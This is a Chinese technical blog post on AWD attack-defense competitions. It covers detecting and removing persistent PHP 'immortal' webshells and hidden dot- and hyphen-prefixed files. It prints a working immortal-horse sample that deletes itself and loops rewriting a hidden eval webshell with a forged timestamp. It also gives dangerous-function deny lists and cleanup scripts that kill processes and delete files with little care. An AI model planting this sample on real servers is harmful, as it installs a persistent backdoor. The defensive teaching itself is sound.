AWD 攻防:PHP 不死马进程级查杀与 2 种隐藏文件对抗

📅 2026/7/8 18:12:54 👁️ 阅读次数 📝 编程学习
AWD 攻防:PHP 不死马进程级查杀与 2 种隐藏文件对抗

PHP不死马的系统级对抗:进程查杀与隐蔽文件攻防实战

1. 不死马的本质与系统级驻留机制

在服务器安全运维领域,PHP不死马堪称最难缠的Web后门之一。与传统WebShell不同,这类恶意脚本通过进程驻留文件再生的双重机制实现持久化控制。理解其工作原理是有效防御的前提。

不死马的核心技术特点体现在三个层面:

  1. 进程级驻留:通过ignore_user_abort(true)set_time_limit(0)实现进程常驻
  2. 自我隐藏:利用unlink(__FILE__)删除本体文件降低被发现概率
  3. 文件再生:循环写入WebShell文件并修改时间戳(touch -m -d

典型的不死马代码结构如下所示:

<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.hidden.php'; $code = '<?php @eval($_POST["cmd"]); ?>'; while(1){ file_put_contents($file,$code); system('touch -m -d "2020-01-01" '.$file); usleep(50000); } ?>

从系统运维视角看,不死马本质上是一个无限循环的守护进程。其进程生命周期不受PHP执行时间限制,也不依赖原始脚本文件存在,这正是常规文件删除无效的根本原因。

2. 进程级查杀技术实战

2.1 进程识别与特征分析

在Linux系统中,不死马进程通常表现为:

  • 长期运行的PHP进程(通过ps aux --sort=-%cpu | grep php查看)
  • 持续占用少量CPU资源(因usleep存在)
  • 进程运行时间异常(远超过普通请求处理时间)

使用以下命令组合可有效识别可疑进程:

# 按CPU占用排序查看PHP进程 ps aux --sort=-%cpu | grep -i php | grep -v grep # 查看进程运行时长(重点关注TIME列) ps -eo pid,user,comm,lstart,etime,args | grep php

2.2 自动化查杀脚本开发

基于进程特征,我们可以编写自动化查杀工具。以下脚本实现进程定位与清除:

#!/bin/bash # 不死马查杀脚本 v1.0 # 定义检测阈值(秒) MAX_RUNTIME=300 # 获取异常PHP进程 ABNORMAL_PIDS=$(ps -eo pid,etime,args | grep php | \ awk -v max="$MAX_RUNTIME" \ '{ split($2,t,":"); if(t[1]!="-"){ sec=t[1]*3600 + t[2]*60 + t[3]; if(sec>max) print $1 } }') # 终止异常进程 for pid in $ABNORMAL_PIDS; do echo "[+] Killing malicious process: $pid" kill -9 $pid # 清理关联文件 lsof -p $pid | grep '/var/www' | awk '{print $9}' | xargs rm -f done # 二次验证 if [ -z "$ABNORMAL_PIDS" ]; then echo "[√] No persistent PHP process detected" else echo "[!] Cleanup completed for PIDs: $ABNORMAL_PIDS" fi

关键改进点:

  • 基于进程运行时间而非CPU占用率检测(避免误判)
  • 自动清理进程打开的文件句柄
  • 支持自定义运行时阈值(适应不同服务器环境)

2.3 进程监控方案

建立持续监控机制比事后查杀更重要。推荐使用以下命令组合实现实时监控:

# 监控PHP进程创建 watch -n 5 'ps -eo pid,user,cmd,start_time | grep -i php' # 使用inotify监控Web目录文件变化 inotifywait -m -r /var/www/html -e create,modify | while read path action file; do if [[ "$file" =~ \.php$ ]]; then echo "[!] PHP file modified: $path$file" fi done

3. 隐蔽文件对抗技术

3.1 点文件(.hidden)对抗

以点号开头的文件在Linux中默认隐藏,常规ls无法显示。对抗方案:

# 强制显示隐藏文件 ls -la /var/www/html # 查找特定时间段创建的隐藏文件 find /var/www -type f -name ".*" -cmin -30 # 批量清除隐藏WebShell find /var/www -type f -name ".*.php" -exec rm -fv {} \;

3.2 短横线文件(-exploit)对抗

以短横线开头的文件会干扰命令行参数解析,需要特殊处理:

# 错误方式(会被解析为命令参数) rm -f -malicious.php # 正确删除方式 rm -f -- -malicious.php # 或使用路径前缀 rm -f ./-malicious.php

文件操作对照表:

操作类型常规文件横线文件解决方案
查看内容cat filecat -file报错cat -- -file
删除文件rm filerm -file报错rm -- -file
查找文件find -name "file"find -name "-file"find -name "./-file"

3.3 文件监控加固方案

修改inotify监控脚本,增加特殊文件检测:

#!/bin/bash # 增强型文件监控脚本 WEB_DIR="/var/www/html" ALERT_LOG="/var/log/web_alert.log" monitor_files() { inotifywait -m -r "$WEB_DIR" -e create,modify,attrib | while read path action file; do # 检测隐藏文件 if [[ "$file" =~ ^\..*\.php$ ]]; then echo "$(date) - Hidden PHP file: $path$file" >> "$ALERT_LOG" fi # 检测横线文件 if [[ "$file" =~ ^-.*\.php$ ]]; then echo "$(date) - Hyphen PHP file: $path$file" >> "$ALERT_LOG" fi # 检测异常时间戳 if [ "$action" == "ATTRIB" ]; then file_time=$(stat -c %y "$path$file") if [[ "$file_time" =~ "2018"|"2019"|"2020" ]]; then echo "$(date) - Suspicious timestamp: $path$file" >> "$ALERT_LOG" fi fi done } monitor_files

4. 防御体系构建

4.1 服务器级防护

  1. 权限最小化

    # Web目录禁止执行权限 find /var/www -type d -exec chmod 755 {} \; find /var/www -type f -exec chmod 644 {} \; # 限制PHP函数 sed -i '/^disable_functions/ s/$/,exec,passthru,shell_exec,system/' /etc/php/7.4/fpm/php.ini
  2. 文件系统加固

    # 设置不可变标志(需重启后生效) chattr +i /var/www/html/index.php # 监控关键目录 auditctl -w /var/www/html -p wa -k web_content

4.2 PHP环境加固配置

推荐php.ini安全配置:

; 禁用危险函数 disable_functions = exec,passthru,shell_exec,system,proc_open,popen ; 限制文件操作 open_basedir = /var/www/html/ ; 防止脚本超时驻留 max_execution_time = 30 ignore_user_abort = Off

4.3 自动化防御系统

结合上述技术,构建自动化防御体系:

  1. 实时进程监控(通过cron定时执行)
  2. 文件完整性校验(使用aide等工具)
  3. 异常行为告警(集成到SIEM系统)

以下是一个简单的防御脚本框架:

#!/bin/bash # 自动化防御系统核心模块 # 1. 进程检查 check_process() { ps aux | grep -i '[p]hp-fpm' | awk '{print $11}' | sort | uniq -c | \ while read count proc; do if [ "$count" -gt 10 ]; then echo "[!] Abnormal PHP process count: $count" fi done } # 2. 文件检查 check_files() { # 检查最近修改的PHP文件 find /var/www -type f -name "*.php" -mmin -5 -exec ls -la {} \; # 检查隐藏的PHP文件 find /var/www -type f -name ".*.php" -exec rm -fv {} \; } # 3. 服务检查 check_services() { systemctl status php-fpm --no-pager | grep -q "active (running)" || \ echo "[!] PHP-FPM service异常" } # 主循环 while true; do check_process check_files check_services sleep 60 done

在实际运维中,防御不死马需要纵深防御理念,从系统权限、进程监控、文件审计多个层面建立防护体系。特别要注意的是,任何查杀操作都应先在测试环境验证,避免影响生产服务正常运行。